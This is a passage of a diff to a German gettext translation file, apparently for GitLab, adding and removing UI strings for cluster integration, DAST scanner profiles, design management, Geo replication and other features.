@@ -5135,6 +5264,9 @@ msgstr "Beim Fetchen deiner Projekte ist ein Fehler aufgetreten: %{error}"
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "Beim Fetchen der Maschinentypen der Zone ist ein Fehler aufgetreten: %{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Wähle, welche Anwendungen auf deinem Kubernetes Cluster installiert werden sollen. Um eine der folgenden Anwendungen zu installieren ist Helm Tiller erforderlich."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Wähle, welche deiner Umgebungen du für dieses Cluster verwenden willst."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "API-URL kopieren"
@@ -5390,9 +5522,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm optimiert die Installation und Verwaltung von Kubernetes-Anwendungen. Tiller läuft innerhalb deines Kubernetes-Clusters und verwaltet Versionen deiner Charts."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Wenn du mehrere Cluster einrichtest und Auto-DevOps verwendest, lies zuerst %{help_link_start}dies%{help_link_end}."
@@ -5588,8 +5717,8 @@ msgstr "Anzahl der Knoten"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "Bitte gib die Zugangsinformationen deines Kubernetes-Clusters ein. Wenn du Hilfe benötigst, kannst du unsere %{link_to_help_page} zu Kubernetes lesen"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Bitte stelle sicher, dass dein Google-Konto die folgenden Voraussetzungen erfüllt:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr "Dieses Konto benötigt die Berechtigungen um ein Kubernetes-Cluster in d
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "Mit dieser Option kannst du Anwendungen auf RBAC-Clustern installieren."
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr "%{appTitle} deinstallieren"
@@ -5885,6 +6029,9 @@ msgstr "Validierung des Projektabrechnungsstatus"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "Wir konnten nicht verifizieren, ob für eines deiner Projekte auf GCP die Abrechnung aktiviert ist. Bitte versuche es erneut."
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "Mit einem Kubernetes-Cluster innerhalb dieses Projekts kannst du auf einfache Weise Review-Anwendungen verwenden, deine Anwendungen bereitstellen, Pipelines ausführen und vieles mehr."
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr "Du musst zuerst Helm Tiller installieren, bevor du die Anwendung unten installierst"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,8 +6077,8 @@ msgstr "Zone"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "Zugriff zur Google Kubernetes-Engine"
-msgid "ClusterIntegration|documentation"
-msgstr "Dokumentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Kommentare"
@@ -6310,7 +6460,7 @@ msgstr "Prometheus konfigurieren"
msgid "Configure Tracing"
msgstr "Tracing konfigurieren"
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr "Kopieren"
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr "Kopiere %{http_label} Clone-URL"
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr "Konnte Admins nicht als Mitglieder hinzufügen"
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr "Abdeckung"
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr "Erstellen"
@@ -7030,6 +7197,9 @@ msgstr "Epic anlegen"
msgid "Create file"
msgstr "Datei erstellen"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "Gruppe erstellen"
@@ -7066,6 +7236,9 @@ msgstr "Neues Board erstellen"
msgid "Create new branch"
msgstr "Neuen Branch erstellen"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Neues Verzeichnis erstellen"
@@ -7090,6 +7263,9 @@ msgstr "Projekt anlegen"
msgid "Create project label"
msgstr "Projektlabel erstellen"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr "Benutzerdefinierter Hostname (für private Commit-E-Mails)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "Benutzerdefinierte Benachrichtigungsereignisse"
@@ -7357,6 +7536,15 @@ msgstr "Passe deine Pipeline-Konfiguration an und zeige deinen Pipeline-Status u
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7551,25 +7742,55 @@ msgstr "%{firstProject}, %{rest} und %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr "Daten werden noch berechnet..."
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr "Standardklassifikationslabel"
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,12 +8045,12 @@ msgstr "Löschen"
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
-msgstr "Paket löschen"
-
msgid "Delete Snippet"
msgstr "Codeausschnitt löschen"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr ""
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr "Gelöscht"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
-msgstr "In dieser Version gelöscht"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
+msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] "%d weitere Sicherheitslücke nicht angezeigt"
msgstr[1] "%d weitere Sicherheitslücken nicht angezeigt"
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr "Details (Standard)"
msgid "Detect host keys"
msgstr "Hostschlüssel erkennen"
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr "Diff Inhaltsbeschränkungen"
msgid "Diff limits"
msgstr "Diff-Grenzen"
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr "Kein Dateiname verfügbar"
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr "Diskutiere einen speziellen Vorschlag oder eine Frage, die gelöst werde
msgid "Discuss a specific suggestion or question."
msgstr "Diskutiere einen bestimmten Vorschlag oder eine bestimmte Frage."
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr "Diskussion, auf die geantwortet werden soll, kann nicht gefunden werden"
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr "Board bearbeiten"
msgid "Edit comment"
msgstr "Kommentar bearbeiten"
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr "Beschreibung bearbeiten"
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr "Nutzungsbericht einschalten"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr "Nutzungsbericht einschalten um einen Ãœberblick zu erhalten, welche Features von GitLab wie benutzt werden."
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr "Ein Projekt zum Dashboard hinzufügen"
@@ -9246,7 +9568,7 @@ msgstr "Entfernen"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "Um dein Epics %{epicDateType} basierend auf den Meilensteinen zu planen, weise einen Meilenstein mit einem %{epicDateType} einem beliebigen Ticket im Epic zu."
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr "Beweissammlung"
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr "Alle erweitern"
msgid "Expand approvers"
msgstr "Genehmigungsberechtigte anzeigen"
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "Menüleiste ausklappen"
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr "Ablaufzeitpunkt"
msgid "Expiration date"
msgstr "Ablaufdatum"
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr "Schriftfarbe"
msgid "Footer message"
msgstr "Fußzeilennachricht"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr "Bei interne Projekte kann jede(r) angemeldete Benutzer(in) die Pipelines anzeigen lassen und auf Job-Details (Ausgabeprotokolle und Artefakte) zugreifen"
@@ -10895,30 +11223,15 @@ msgstr "Knoten fällt aus oder ist kaputt."
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "Knoten ist langsam, überlastet oder er erholt sich nur von einem Ausfall."
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr "Prüfsumme verifiziert"
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr "Datenreplikationsverzögerung"
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "Stimmt nicht mit der primären Speicherkonfiguration überein"
-msgid "GeoNodes|Failed"
-msgstr "Fehlgeschlagen"
-
msgid "GeoNodes|Full"
msgstr "Voll"
@@ -10934,12 +11247,6 @@ msgstr "Systemzustand"
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr "Letzte Event-ID, die vom Cursor verarbeitet wurde"
@@ -10967,12 +11274,6 @@ msgstr "Knoten wurde erfolgreich entfernt."
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr "Keine Prüfsumme"
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr "Replikations-Slots"
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr "Repositorien"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr "Repository-Prüfsummenfortschritt"
-
-msgid "GeoNodes|Repository verification progress"
-msgstr "Repository-Üerprüfungsfortschritt"
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr "Synchronisierungseinstellungen"
msgid "GeoNodes|Unused slots"
msgstr "Unbenutzte Slots"
-msgid "GeoNodes|Unverified"
-msgstr "Nicht verifiziert"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr "Benutzte Slots"
-msgid "GeoNodes|Verified"
-msgstr "Verifiziert"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr "Wiki-Prüfsummenfortschritt"
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr "Wiki-Verifizierungsfortschritt"
-
-msgid "GeoNodes|Wikis"
-msgstr "Wikis"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr "Primärknoten"
msgid "GeoNodes|secondary nodes"
msgstr "Sekundärknoten"
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr "Nach Status filtern"
msgid "Geo|Geo Status"
msgstr "Geo-Status"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr "In Bearbeitung"
@@ -11258,10 +11547,10 @@ msgstr "Überprüfung fehlgeschlagen - %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "Warte auf den Scheduler"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
